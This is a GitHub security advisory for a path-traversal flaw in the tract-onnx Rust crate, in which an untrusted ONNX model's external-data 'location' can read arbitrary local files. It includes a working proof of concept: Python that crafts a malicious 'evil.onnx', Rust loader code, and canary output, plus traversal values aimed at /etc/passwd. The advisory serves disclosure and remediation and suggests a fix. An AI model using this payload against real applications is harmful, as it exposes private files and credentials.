GHSA-H668-6X6G-F8R5
Vulnerability from github – Published: 2026-06-19 14:45 – Updated: 2026-06-19 14:45Summary
tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.
Details
In onnx/src/tensor.rs, get_external_resources() builds the path with no checks:
let location = /* tensor.external_data "location" value — attacker-controlled */;
let p = PathBuf::from(path).join(location); // no is_absolute / ".." / canonicalize / containment check
provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?; // Mmap::map(File::open(p)) by default
Path::joinwith an absolutelocation(e.g./etc/passwd) discards the base directory →p = /etc/passwd.- A relative
../../../../etc/passwdvalue is not normalized → directory traversal. - The default
MmapDataResolver(onnx/src/data_resolver.rs) thenmmaps the file and copiesmmap[offset..offset+length]into the tensor.offset/lengthare also taken from the file; an out-of-range slice panics (DoS).
No is_absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data_resolver.rs).
Reachable from the standard public API: model_for_path(p) (onnx/src/model.rs) sets model_dir = p.parent() and calls load_tensor(proto, model_dir) → get_external_resources(.., model_dir).
PoC
Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.
- A canary file the model must not be able to read:
/tmp/tract_canary_secret.txt→TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b - Build a small
evil.onnxwith aUINT8[37]initializer whoseexternal_dataislocation=/tmp/tract_canary_secret.txt(absolute),offset=0,length=37, fed throughIdentityto the output (raw protobuf serialization):
import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract_canary_secret.txt" # absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8
w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)
node = helper.make_node("Identity", ["W"], ["Y"])
out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N])
g = helper.make_graph([node], "g", [], [out], initializer=[w])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())
- Victim loads the untrusted model with the standard API:
let model = tract_onnx::onnx().model_for_path("evil.onnx")?;
let out = model.into_optimized()?.into_runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from_utf8_lossy(&bytes));
Output:
"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"
i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.
Impact
Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.
Suggested fix
Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve_external_data_location); reject symlinks; validate offset/length against the file size before slicing.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "tract-onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "tract-onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "tract-onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55832"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:45:43Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`tract` (the `tract-onnx` crate) resolves an ONNX tensor\u0027s external-data `location` by joining it onto the model directory **without any sanitization**. Because `location` comes from the (untrusted) `.onnx` file, a malicious model can make `tract` open and read an **arbitrary local file** at load time, with the file\u0027s contents flowing into the model\u0027s tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference `onnx` library hardened over several CVEs; `tract` resolves `location` itself and was never hardened.\n\n### Details\n\nIn `onnx/src/tensor.rs`, `get_external_resources()` builds the path with no checks:\n\n```rust\nlet location = /* tensor.external_data \"location\" value \u2014 attacker-controlled */;\nlet p = PathBuf::from(path).join(location); // no is_absolute / \"..\" / canonicalize / containment check\nprovider.read_bytes_from_path(\u0026mut tensor_data, \u0026p, offset, length)?; // Mmap::map(File::open(p)) by default\n```\n\n- `Path::join` with an **absolute** `location` (e.g. `/etc/passwd`) discards the base directory \u2192 `p = /etc/passwd`.\n- A **relative** `../../../../etc/passwd` value is not normalized \u2192 directory traversal.\n- The default `MmapDataResolver` (`onnx/src/data_resolver.rs`) then `mmap`s the file and copies `mmap[offset..offset+length]` into the tensor. `offset`/`length` are also taken from the file; an out-of-range slice **panics** (DoS).\n\nNo `is_absolute`, `..`, `canonicalize`, or containment check exists anywhere on this path (`tensor.rs`, `model.rs`, `data_resolver.rs`).\n\nReachable from the standard public API: `model_for_path(p)` (`onnx/src/model.rs`) sets `model_dir = p.parent()` and calls `load_tensor(proto, model_dir)` \u2192 `get_external_resources(.., model_dir)`.\n\n### PoC\n\nTested on `tract-onnx 0.21.16` (crates.io), Rust 1.96.\n\n1. A canary file the model must not be able to read:\n `/tmp/tract_canary_secret.txt` \u2192 `TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b`\n2. Build a small `evil.onnx` with a `UINT8[37]` initializer whose `external_data` is `location=/tmp/tract_canary_secret.txt` (absolute), `offset=0`, `length=37`, fed through `Identity` to the output (raw protobuf serialization):\n\n```python\nimport onnx\nfrom onnx import helper, TensorProto, StringStringEntryProto\nN = 37; LOC = \"/tmp/tract_canary_secret.txt\" # absolute -\u003e Path::join discards the base dir\nw = TensorProto(); w.name = \"W\"; w.data_type = TensorProto.UINT8\nw.dims.extend([N]); w.data_location = TensorProto.EXTERNAL\nfor k, v in [(\"location\", LOC), (\"offset\", \"0\"), (\"length\", str(N))]:\n e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)\nnode = helper.make_node(\"Identity\", [\"W\"], [\"Y\"])\nout = helper.make_tensor_value_info(\"Y\", TensorProto.UINT8, [N])\ng = helper.make_graph([node], \"g\", [], [out], initializer=[w])\nm = helper.make_model(g, opset_imports=[helper.make_opsetid(\"\", 13)])\nopen(\"evil.onnx\", \"wb\").write(m.SerializeToString())\n```\n\n3. Victim loads the untrusted model with the standard API:\n\n```rust\nlet model = tract_onnx::onnx().model_for_path(\"evil.onnx\")?;\nlet out = model.into_optimized()?.into_runnable()?.run(tvec!())?;\nlet bytes: Vec\u003cu8\u003e = out[0].to_array_view::\u003cu8\u003e()?.iter().cloned().collect();\nprintln!(\"{:?}\", String::from_utf8_lossy(\u0026bytes));\n```\n\nOutput:\n\n```\n\"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b\"\n```\n\ni.e. the contents of the arbitrary local file were read by `tract` and surfaced in the inference output.\n\n### Impact\n\nRead-only arbitrary local file disclosure when an application uses `tract` to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model\u0027s tensors / inference output. Secondary: denial of service (panic) via out-of-bounds `offset`/`length`. No write or code execution.\n\n### Suggested fix\n\nReject absolute `location` and any `..` component, then canonicalize and verify the resolved path stays within the model directory (mirroring `onnx` 1.22.0\u0027s `resolve_external_data_location`); reject symlinks; validate `offset`/`length` against the file size before slicing.",
"id": "GHSA-h668-6x6g-f8r5",
"modified": "2026-06-19T14:45:43Z",
"published": "2026-06-19T14:45:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sonos/tract/security/advisories/GHSA-h668-6x6g-f8r5"
},
{
"type": "PACKAGE",
"url": "https://github.com/sonos/tract"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.